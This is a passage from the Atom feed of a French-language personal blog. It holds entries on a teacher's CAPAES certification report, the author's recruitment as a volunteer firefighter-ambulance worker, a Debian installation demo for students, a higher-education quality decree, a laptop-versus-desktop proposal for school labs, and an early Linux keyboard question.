&lt;p&gt;Pour les non-initiés, il s&amp;rsquo;agit du &lt;strong&gt;Certificat d&amp;rsquo;Aptitude Pédagogique Approprié à l&amp;rsquo;Enseignement Supérieur&lt;/strong&gt;. En deux mots, lorsque l&amp;rsquo;on travaille depuis quelques années dans l&amp;rsquo;enseignement supérieur, il faut — si l&amp;rsquo;on veut conserver son travail — présenter ce certificat. Il consiste en des cours de pédagogie et méthodologie &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; auxquels on ajoute la rédaction d&amp;rsquo;un rapport professionnel. &lt;em&gt;D&amp;rsquo;abord, on t&amp;rsquo;engage et ensuite, tu dois obtenir un « diplôme » supplémentaire&lt;/em&gt;. &lt;/p&gt;
&lt;h3&gt;Le rapport professionnel&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;ai été recalé sur mon rapport professionnel [&lt;a href="/pdf/2015-dossier-capaes-pbt.pdf"&gt;pdf v1&lt;/a&gt;]. Je pensais pourtant avoir tout bien remis. Mon travail d&amp;rsquo;une vingtaine de pages décrivait une analyse réflexive (ça ne s&amp;rsquo;invente pas) de mon parcours professionnel… mais cette analyse ayant été jugée insuffisamment réflexive, j&amp;rsquo;ai du compléter [&lt;a href="/pdf/2015-dossier-capaes-pbt-complement.pdf"&gt;pdf v2&lt;/a&gt;] &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Voilà qui est chose faite.&lt;br&gt;
Je suis maintenant un expert en pédagogie (#LOL) et je vais pouvoir bénéficier de ma valorisation barémique.&lt;br&gt;
Qui a dit vénal ?&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez Gratisography&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Les enseignants détenteurs d&amp;rsquo;un AESS (agrégation de l&amp;rsquo;enseignement secondaire supérieure) sont dispensés de certains cours. Ils font alors de petit CAPAES !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;La première version présentait 9 des compétences décrites dans le décret. Il appert ensuite que seules 2 ou 3 compétences doivent être interrogées. Ce que je fais dans le complément.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Aspirant pompier-ambulancier II</title><link href="http://blog.namok.be/2005-06-16-8-aspirant-pompier-ambulancer-ii.html" rel="alternate"/><published>2005-06-16T00:00:00+02:00</published><updated>2005-06-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2005-06-16:/2005-06-16-8-aspirant-pompier-ambulancer-ii.html</id><summary type="html">Aspirant pompier-ambulancier II</summary><content type="html">&lt;p&gt;Voilà, j&amp;rsquo;ai été engagé fin Janvier.&lt;/p&gt;
&lt;p&gt;Depuis, j&amp;rsquo;ai été essayer ma tenue d&amp;rsquo;intervention que je vais recevoir bientôt. Enfin on espère !&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est relativement important puisque l&amp;rsquo;on apprend un peu « sur le tas » pour l&amp;rsquo;instant. La démarche est la suivante : formation d&amp;rsquo;ambulancier (pendant un an) suivie de la formation sapeur-pompier (pendant un an aussi). Ce qui fait que je me sentirai formé dans 2 ans pour la base. C&amp;rsquo;est long, puisque nous sommes déjà affectés à une équipe et « opérationnel » si on peut dire. J&amp;rsquo;ai donc reçu mon bip et commence, cette semaine, ma première semaine de garde ! C&amp;rsquo;est pas tout à fait évident de se familiariser avec le bip. C&amp;rsquo;est stressant. On est un peu toujours en attente.&lt;/p&gt;
&lt;p&gt;En fait, j&amp;rsquo;essaie de trouver de l&amp;rsquo;info sur la filière blanche, c&amp;rsquo;est-à-dire la formation d&amp;rsquo;ambulancier plus complète que ce que j&amp;rsquo;ai actuellement trouvé :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;120 heures de cours&lt;/li&gt;
&lt;li&gt;40 heures de stages en hôpital et service 100&lt;/li&gt;
&lt;li&gt;40 heures de stages ? d&amp;rsquo;observation au sein du service&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si quelqu&amp;rsquo;un dispose de liens vers de la documentation électronique qu&amp;rsquo;il n&amp;rsquo;hésite pas. Ami lecteur, si tu préfères me l&amp;rsquo;envoyer par mail, n&amp;rsquo;hésite pas non plus.&lt;/p&gt;
&lt;p&gt;Pour rappel, mes coordonnées sont &lt;a href="contact.html"&gt;là&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>Aspirant pompier-ambulancier</title><link href="http://blog.namok.be/2004-11-23-7-aspirant-pompier-ambulancier.html" rel="alternate"/><published>2004-11-23T00:00:00+01:00</published><updated>2004-11-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2004-11-23:/2004-11-23-7-aspirant-pompier-ambulancier.html</id><summary type="html">Aspirant pompier-ambulancier</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/pp-ath-gwen-DSC00392gco2013ath.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai attendu avant d&amp;rsquo;en parler… j&amp;rsquo;ai postulé comme aspirant pompier !&lt;/p&gt;
&lt;p&gt;Il y a déjà quelques mois (août 2004), j&amp;rsquo;ai envoyé ma lettre de candidature. J&amp;rsquo;y avais pas mal pensé déjà mais je n&amp;rsquo;avais jamais franchi le pas. J&amp;rsquo;avais pourtant contacté la caserne afin de savoir ce qu&amp;rsquo;il fallait faire pour postuler.&lt;/p&gt;
&lt;p&gt;— Écrire au mayeur ! dit-il.&lt;br&gt;
— Bon bon je ferai ça plus tard.&lt;/p&gt;
&lt;p&gt;Arrivent ensuite ce que tout le monde appellera &lt;a href="https://fr.wikipedia.org/wiki/Catastrophe_de_Ghislenghien"&gt;« Les évènements de Ghislenghien »&lt;/a&gt;. Plus question de postuler. Je suis encore plus indécis. Est-ce judicieux de postuler après ces évènements. Je n&amp;rsquo;aime pas trop employer le terme « catastrophe » (même si s&amp;rsquo;en est une ou plutôt un « accident industriel majeur ») car il est galvaudé par les médias.&lt;/p&gt;
&lt;p&gt;Bon, quelques jours, voire semaines, se passent lorsque nous (tous les Athois) recevons un courrier de la commune comme quoi « ils recrutent ». Bon plus question de tergiverser, je postule.&lt;/p&gt;
&lt;h3&gt;Petite histoire d&amp;rsquo;un recrutement&lt;/h3&gt;
&lt;p&gt;Premièrement, je suis convoqué pour les tests médicaux. Je m&amp;rsquo;en sors bien 😉 &lt;br&gt;
Pipi dans le pot, faire ah et… c&amp;rsquo;est à peu près tout… je suis apte ! En tout cas « médicalement ».&lt;/p&gt;
&lt;p&gt;Étape suivante; les tests physiques. Le courrier, laconique, précise qu&amp;rsquo;il faut se présenter afin de subir les épreuves physiques.&lt;/p&gt;
&lt;p&gt;— Prévoyez un maillot et un équipement adéquat.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;en sais pas plus. À quelle sauce va-t-on être mangé. Au fait: « Combien sommes-nous ? ».&lt;/p&gt;
&lt;p&gt;Les &lt;strong&gt;59&lt;/strong&gt; aspirants ayant survécu aux tests médicaux sont répartis en 2 groupes. J&amp;rsquo;apprend que nous étions 75 à postuler soient 16 recalés au « pipi dans le pot » ! Les tests physiques sont relativement faciles. Je veux dire à la portée de quelqu&amp;rsquo;un en moyenne forme physique. Ça intéresse peut-être le lecteur de savoir ce que l&amp;rsquo;on doit faire.&lt;/p&gt;
&lt;p&gt;Piscine
- nager 50 mètres en moins de 1&amp;rsquo;;
- ramasser un objet dans le fond;
- et exécuter le saut du sauveteur (la tête hors de l&amp;rsquo;eau).&lt;/p&gt;
&lt;p&gt;Le reste
- monter, et traverser une poutre;
- saut en longueur;
- maximum de pompages en 1&amp;rsquo;;
- maximum d&amp;rsquo;abdos en 1&amp;rsquo;;
- saut de hauteur (il faut sauter du haut de l&amp;rsquo;espalier);
- tractions (6 = maximum de points);
- porter quelqu&amp;rsquo;un et courir (on est là pour être pompier);
- course 600mk&lt;/p&gt;
&lt;p&gt;Voilà, on peut renter chez soi et attendre le prochain courrier. Quelques semaines plus tard :&lt;/p&gt;
&lt;p&gt;— Veillez vous présenter à Mouscron pour les tests de protection lourde et échelle.&lt;/p&gt;
&lt;p&gt;À nouveau, je me demande à quelle sauce je vais être mangé.&lt;/p&gt;
&lt;p&gt;Les tests sont très chouettes.&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;agit pour le premier, de monter à l&amp;rsquo;échelle 18 mètres avec l&amp;rsquo;équipement (veste, casque et ARI - Appareil de Respiration Individuel, le masque). Le second consiste, toujours équipé du masque, a effectuer un petit parcours semés d&amp;rsquo;embuches (ramper, déplacer des objets… et trouver la sortie). La difficulté réside dans le « plastique » que l&amp;rsquo;on a devant le masque et qui nous empêche de voir… on s&amp;rsquo;est tous bien marrés.&lt;/p&gt;
&lt;p&gt;Étape suivante, les formations et les examens.&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;agit de pré-formations s&amp;rsquo;étendant sur 2 samedis. Nous avons des séances de 2h en; mécanique, hydraulique, électricité, administration, ARI et connaissance du matériel (les camions; autopompe, désincar, autopompe lourde, élévateur, transport…).&lt;/p&gt;
&lt;p&gt;Les formations sont assez élémentaires et le public est très hétéroclite. C&amp;rsquo;est chouette. Nous avons un bon contact entre aspirants, on s&amp;rsquo;entraide et il n&amp;rsquo;y a pas d&amp;rsquo;esprit de compétition. Ai-je déjà dit qu&amp;rsquo;il y aurait peu d&amp;rsquo;élus ? 2 ou 6 suivant la personne à qui l&amp;rsquo;on demande.&lt;/p&gt;
&lt;p&gt;Le troisième samedi est consacré aux examens, le vendredi précédent à la dictée (je ne me souvenais plus d&amp;rsquo;avoir subi une dictée) et à la rédaction.&lt;/p&gt;
&lt;p&gt;À ce stade nous ne sommes plus que 27.&lt;/p&gt;
&lt;p&gt;Les examens se déroulaient le WE dernier. D&amp;rsquo;après les bruits de couloirs, j&amp;rsquo;ai réussi. Maintenant, il reste à savoir si je ferai partie des élus ! Si tel est le cas, je commence ma formation d&amp;rsquo;ambulancier, 120h et ensuite celle de pompier à l&amp;rsquo;école du feu, 90h.&lt;/p&gt;
&lt;p&gt;Maintenant, ce serai dommage de ne pas être choisi. Vivement que je reçoive mon courrier avec les résultats. Je vous tiens au courant.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://www.gwenncorbisier.be/"&gt;Gwen Corbisier&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Démo d'installation GNU/Linux (debian)</title><link href="http://blog.namok.be/2004-10-01-5-demo-d-installation-gnu-linux-debian.html" rel="alternate"/><published>2004-10-01T00:00:00+02:00</published><updated>2004-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2004-10-01:/2004-10-01-5-demo-d-installation-gnu-linux-debian.html</id><summary type="html">Démo d'installation GNU/Linux (debian)</summary><content type="html">&lt;p&gt;Cette semaine, j&amp;rsquo;ai fait une p&amp;rsquo;tite démo d&amp;rsquo;installation debian à l&amp;rsquo;école. Le public visé; des étudiants de première année bachelor (il faut se faire au nouveau grade) informatique. Ils sont donc, pour la plupart, tout « bleu ». Ce sont (pour la plupart à nouveau) des utilisateurs de MS Windows. Ils ont, sans doute, déjà installé MS Windows mais probablement pas partitionné leur disque.&lt;/p&gt;
&lt;p&gt;Le défi consiste en la démonstration de l&amp;rsquo;installation d&amp;rsquo;une distribution linux pendant la pause de midi… soit 1 heure (60 malheureuses petites minutes).&lt;/p&gt;
&lt;p&gt;Mon choix se porte sur une distribution debian . Je fais ce choix car je voudrais que l&amp;rsquo;étudiant ait à sa disposition une installation de linux assez stable et parce que j&amp;rsquo;aime bien le système de package de debian. J&amp;rsquo;aurai pu faire un autre choix. Mais : « Choisir c&amp;rsquo;est renoncer ».&lt;/p&gt;
&lt;h3&gt;Histoire de l&amp;rsquo;installation&lt;/h3&gt;
&lt;p&gt;Je commence, prudence et marketing obligent, par booter sur une Knoppix histoire de montrer qu&amp;rsquo;il existe un environnement X window (sans s) et que linux, ce n&amp;rsquo;est pas MS DOS (dixit). J&amp;rsquo;en profite aussi pour copier le fichier &lt;code&gt;/etc/X11/XF86Config-4&lt;/code&gt; sur un &lt;em&gt;floppy&lt;/em&gt;. C&amp;rsquo;est un petit truc que je conseille aux utilisateurs qui, comme moi, ne connaissent pas bien leur configuration matérielle et qui veulent gagner du temps lors de la configuration de leur environnement X.&lt;/p&gt;
&lt;p&gt;Ceci fait, je commence l&amp;rsquo;installation. Les 10 premières minutes, tout se passe bien. Je dois expliquer des concepts pas toujours évidents mais je vois dans l&amp;rsquo;œil de l&amp;rsquo;étudiant qu&amp;rsquo;il est toujours présent et qu&amp;rsquo;il « imprime bien » ce que je dis ;-) Je vois bien un début de peur lorsque je parle de partitionner son disque mais elle se change en une crainte tout à fait raisonnable et raisonnée ;-)&lt;/p&gt;
&lt;p&gt;Je fais le choix d&amp;rsquo;installer ma distribution via le réseau histoire de ne pas « faire le tourniquet » avec mes 3 cd d&amp;rsquo;install. Ce qui implique une petite configuration du réseau… je dois donc parler d&amp;rsquo;adresse IP, de &lt;em&gt;gateway&lt;/em&gt;, dire qu&amp;rsquo;il n&amp;rsquo;y a pas de serveur DHCP (?), donner les adresse IP de mon DNS (?), etc. et c&amp;rsquo;est là que j&amp;rsquo;en ai perdu une petite moitié ! Enfin je crois. Mais l&amp;rsquo;œil de l&amp;rsquo;étudiant (toujours lui, infallible et testeur efficace du degré de compréhension) ne trompe pas, certains m&amp;rsquo;échappent.&lt;/p&gt;
&lt;p&gt;Je continue tant bien que mal. J&amp;rsquo;ajoute pas mal d&amp;rsquo;humour (est-il toujours bien compris ?). Mais force m&amp;rsquo;est de constater que ce n&amp;rsquo;est pas si simple de répondre à la floppée de questions qui me sont posées (en anglais de surcroit) pendant l&amp;rsquo;installation. J&amp;rsquo;essaie quand même d&amp;rsquo;expliquer un maximum de choses. Mais le temps passe. L&amp;rsquo;heure s&amp;rsquo;écoule. Les secondes s’égrènent.&lt;/p&gt;
&lt;p&gt;Je profite du temps que prend le téléchargement pour essayer de convaincre mon auditoire de la facilité et de l&amp;rsquo;efficacité du système de gestion de paquets (mais qu&amp;rsquo;est-ce qu&amp;rsquo;un paquet) de debian.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est à ce moment qu&amp;rsquo;arrive le méchant time out. Pas celui du système mais bien celui des étudiants, le gong signalant la fin de la pause midi. Je n&amp;rsquo;ai pas terminé d&amp;rsquo;installer X et je dois en rester là . Je ne pense pas avoir convaincu :-(&lt;/p&gt;
&lt;p&gt;À ce stade, je balance entre deux idées (en fait trois):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;installer une debian - pour que les étudiants aient un « bon » (je sais, ça prête à troll) système.&lt;/li&gt;
&lt;li&gt;ou installer la knoppix - pour que les étudiants aient (aussi) un bon système (quoiqu&amp;rsquo;il y ait pas mal de différences) mais surtout parce qu&amp;rsquo;elle est plus simple à installer&lt;/li&gt;
&lt;li&gt;ou, encore, proposer les deux.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je vais, cette année (après cette présentation de debian) faire un petit &lt;em&gt;how to&lt;/em&gt; (ou du moins pointer vers un existant) d&amp;rsquo;une installation d&amp;rsquo;une knoppix… histoire que les étudiants les moins « dégourdis » (si je peux me permettre l&amp;rsquo;expression) puisse aussi avoir linux à la maison. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;PS : Si un de mes étudiants passe par ici qu&amp;rsquo;il n&amp;rsquo;hésite pas à déposer son commentaire, ça me permet d&amp;rsquo;avancer.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Décret qualité</title><link href="http://blog.namok.be/2004-09-07-4-decret-qualite.html" rel="alternate"/><published>2004-09-07T00:00:00+02:00</published><updated>2004-09-07T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2004-09-07:/2004-09-07-4-decret-qualite.html</id><summary type="html">Décret qualité</summary><content type="html">&lt;p&gt;La mise en œuvre du &lt;a href="https://etaamb.openjustice.be/fr/decret-du-14-novembre-2002_n2002029570"&gt;décret qualité pour l&amp;rsquo;enseignement supérieur&lt;/a&gt; s&amp;rsquo;amorce…&lt;/p&gt;
&lt;p&gt;Ça y est, ça nous tombe dessus !&lt;/p&gt;
&lt;p&gt;Je le savais déjà, c&amp;rsquo;est pas tout neuf mais la mise en œuvre du décret qualité s&amp;rsquo;amorce. Je parle du décret mis en place par la communauté française &lt;em&gt;via&lt;/em&gt; Françoise Dupuis afin d&amp;rsquo;évaluer la qualité de l&amp;rsquo;enseignement.&lt;/p&gt;
&lt;p&gt;Bon, l&amp;rsquo;idée est bonne… enfin pas mauvaise. On fait une évaluation interne de l&amp;rsquo;enseignement (de l&amp;rsquo;accueil des élèves aux contenus des cours en passant par la propreté des toilettes). Chaque HE fait la même chose. Un collège d&amp;rsquo;experts passe dans les HE et interroge tout le monde afin de corroborer l&amp;rsquo;évaluation interne. Ensuite ce collège fournit un rapport public.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bien&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce qui est bien c&amp;rsquo;est que chaque HE peut se situer par rapport au rapport public sur base de son rapport interne confidentiel. Si je peux me positionner, je peux me remettre en question. C&amp;rsquo;est positif.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pas bien&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce qui est moins bien c&amp;rsquo;est que c&amp;rsquo;est le collège d&amp;rsquo;experts (bénévoles ?) qui assure la confidentialité. Bon d&amp;rsquo;accord, ne soyons pas parano. Ce qui est moins bien c&amp;rsquo;est que tout le travail (préparer une évaluation, faire une évaluation sur base d&amp;rsquo;un échantillon d&amp;rsquo;élèves, de profs, de personnel, préparer cet échantillon, rassembler les résultats aux (2000?) questions, faire le rapport, le remettre à l&amp;rsquo;agence qualité, recevoir les experts…) est bénévole ! Il se base sur la bonne volonté de l&amp;rsquo;équipe éducative. Bon d&amp;rsquo;accord, comme c&amp;rsquo;est beaucoup, la HE peut engager quelqu&amp;rsquo;un… avec son enveloppe fermée… et ça, ça peut nuire à l&amp;rsquo;encadrement des élèves et donc à la qualité ! Le serpent se mort la queue. &lt;/p&gt;
&lt;p&gt;Évaluer la qualité occasionne une surcharge de travail et donc risque de nuire à la qualité.&lt;/p&gt;
&lt;p&gt;Si au moins la ministre avait dégagé des fonds pour ça, j&amp;rsquo;aurais trouvé l&amp;rsquo;idée bonne.&lt;/p&gt;
&lt;p&gt;Attendons de voir à quelle sauce on va être mangé. Tiens pour les collègues qui me lisent, que ça ne vous fasse pas un ulcère.&lt;/p&gt;
&lt;p&gt;Bonne rentrée.&lt;/p&gt;</content></entry><entry><title>Laptop versus desktop</title><link href="http://blog.namok.be/2004-04-02-21-laptop-versus-desktop.html" rel="alternate"/><published>2004-04-02T00:00:00+02:00</published><updated>2004-04-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2004-04-02:/2004-04-02-21-laptop-versus-desktop.html</id><summary type="html">Laptop versus desktop</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/laptop-out.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Texte initialement publié sur &lt;a href="http://linuxfr.org/~PiT/11230.html"&gt;LinuxFR&lt;/a&gt; et premier « vrai » article du blog.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans mon école (graduat en informatique), les laboratoires sont équipés d&amp;rsquo;ordinateurs &lt;em&gt;desktop&lt;/em&gt;. Se pose le problème du renouvellement du parc informatique…&lt;/p&gt;
&lt;p&gt;Ce renouvellement à un coût.&lt;/p&gt;
&lt;p&gt;La question que je me pose est la suivante.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Peut-on mettre en place un système où les labos sont munis de table et de tout ce qu&amp;rsquo;il faut pour se connecter et où les étudiants viennent avec un portable ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Le coût du portable serait en partie supporté par l&amp;rsquo;école et par l&amp;rsquo;étudiant, il paierait en 3 tranches (une par année d&amp;rsquo;étude) et à la fin de ces 3 ans, le portable lui appartient.&lt;/p&gt;
&lt;p&gt;Le « parc informatique » se renouvelle de lui même.&lt;/p&gt;
&lt;p&gt;Les étudiants sont contents, ils travaillent sur du matériel neuf… qui sera à eux. Ils le respectent.&lt;/p&gt;
&lt;p&gt;Ça leur coûte (un peu)… mais c&amp;rsquo;est pour eux. Ils peuvent l&amp;rsquo;emporter de la maison à l&amp;rsquo;école en passant par le kot, le train…&lt;/p&gt;
&lt;p&gt;Dites-moi ce que vous en pensez.&lt;br&gt;
(Mettez-vous à la place de l&amp;rsquo;étudiant et/ou du prof et/ou du responsable du parc info (lui il va stresser avec toutes des machines « non contrôlées » sur le réseau)&lt;/p&gt;
&lt;p&gt;Pour alimenter la réflexion, une &lt;a href="http://pittt.free.fr/wiki/doku.php?id=esi:reflexionportable"&gt;page se trouve sur mon (feu) wiki&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo, &lt;a href="http://rona-keller.deviantart.com/art/week-two-138378201"&gt;Rona Keller&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Premier billet</title><link href="http://blog.namok.be/2003-12-09-1-first-post.html" rel="alternate"/><published>2003-12-09T00:00:00+01:00</published><updated>2003-12-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2003-12-09:/2003-12-09-1-first-post.html</id><summary type="html">Premier billet</summary><content type="html">&lt;p&gt;Bonjour.&lt;/p&gt;
&lt;p&gt;Voici ma première entrée dans le monde des blogs. J&amp;rsquo;entend dire que tout le monde se doit d&amp;rsquo;avoir son &lt;em&gt;journal intime&lt;/em&gt; sur le net… mais que vais-je bien pouvoir y raconter. J&amp;rsquo;arrive déjà pas à maintenir les &lt;em&gt;news&lt;/em&gt; de mon site à jour. Enfin, on verra bien.&lt;/p&gt;
&lt;p&gt;En fait, le blog servira de news pour le site &amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité en 2024&lt;/em&gt; Un premier billet bien inutile. Heureusement que d&amp;rsquo;autres billets ont du contenu. &lt;/p&gt;</content></entry><entry><title>Hello world Da linux French Page</title><link href="http://blog.namok.be/1999-01-01-da-linux-french-page.html" rel="alternate"/><published>1999-01-01T00:00:00+01:00</published><updated>1999-01-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,1999-01-01:/1999-01-01-da-linux-french-page.html</id><summary type="html">Hello world Da linux French Page</summary><content type="html">&lt;p&gt;Au début ce blog répètait ce que je racontais sur &lt;a href="//linuxfr.org"&gt;linuxfr&lt;/a&gt; qui s&amp;rsquo;appelait à l&amp;rsquo;époque &lt;em&gt;« Da Linux French Page »&lt;/em&gt; un truc du &lt;em&gt;geeks&lt;/em&gt; finalement précurseur et qui survit toujours. &lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/ayo-linuxfr_rentree.png"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;y postais mes questions et réflexions de jeune boutonneux. Je profite de la migration de mon blog — nous sommes en 2024 — pour supprimer tous ces vieux posts qui n&amp;rsquo;ont plus lieu d&amp;rsquo;être. Si vous en voulez, &lt;a href="https://linuxfr.org/users/pit"&gt;ça se trouve là&lt;/a&gt; (tant que &lt;em&gt;linuxfr&lt;/em&gt; continue de vivre et ça ne semble pas près de s&amp;rsquo;arrêter). &lt;/p&gt;
&lt;p&gt;&lt;em&gt;J&amp;rsquo;ai évidemment perdu du temps à tout relire et je vous laisse le premier ci-dessous.&lt;/em&gt; &lt;/p&gt;
&lt;h3&gt;Toshiba Satellite 1640&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;ai reçu un « vieux » portable d&amp;rsquo;un copain. Il avait reformaté son disque et n&amp;rsquo;a plus de lecteur CD (il est cassé). Il ne sait donc rien faire de son portable (dixit).&lt;/p&gt;
&lt;p&gt;Je décide donc d&amp;rsquo;installer une Debian dessus… je viens de me farcir les &lt;strong&gt;26 disquettes&lt;/strong&gt; et mon système boot. Là, je suis bien content, je peux aller acheter ma p&amp;rsquo;tite carte pcmcia ethernet pour installer ce que je veux.&lt;/p&gt;
&lt;p&gt;Tout va bien… NON. J&amp;rsquo;essaie gentiment d&amp;rsquo;éditer un fichier et je constate avec effroi que quelques touches ne fonctionnent pas : &lt;code&gt;/ + = ~ % ù ' µ £ .&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Si quelqu&amp;rsquo;un peut me donner des indices pour configurer convenablement le clavier. Voici mes exigences
- éviter de réinstaller brutalement les 24 disquettes;
- ne pas perdre de vue que pour éditer &lt;code&gt;/etc/kbd/…&lt;/code&gt;, il faut disposer des touches &lt;code&gt;.&lt;/code&gt; et &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Si quelqu&amp;rsquo;un peut aider .&lt;/p&gt;
&lt;p&gt;&lt;a href="https://linuxfr.org/users/pit/journaux/installation-debian-sur-un-toshiba-satellite-1640"&gt;Source sur linuxfr&lt;/a&gt;&lt;/p&gt;</content></entry></feed>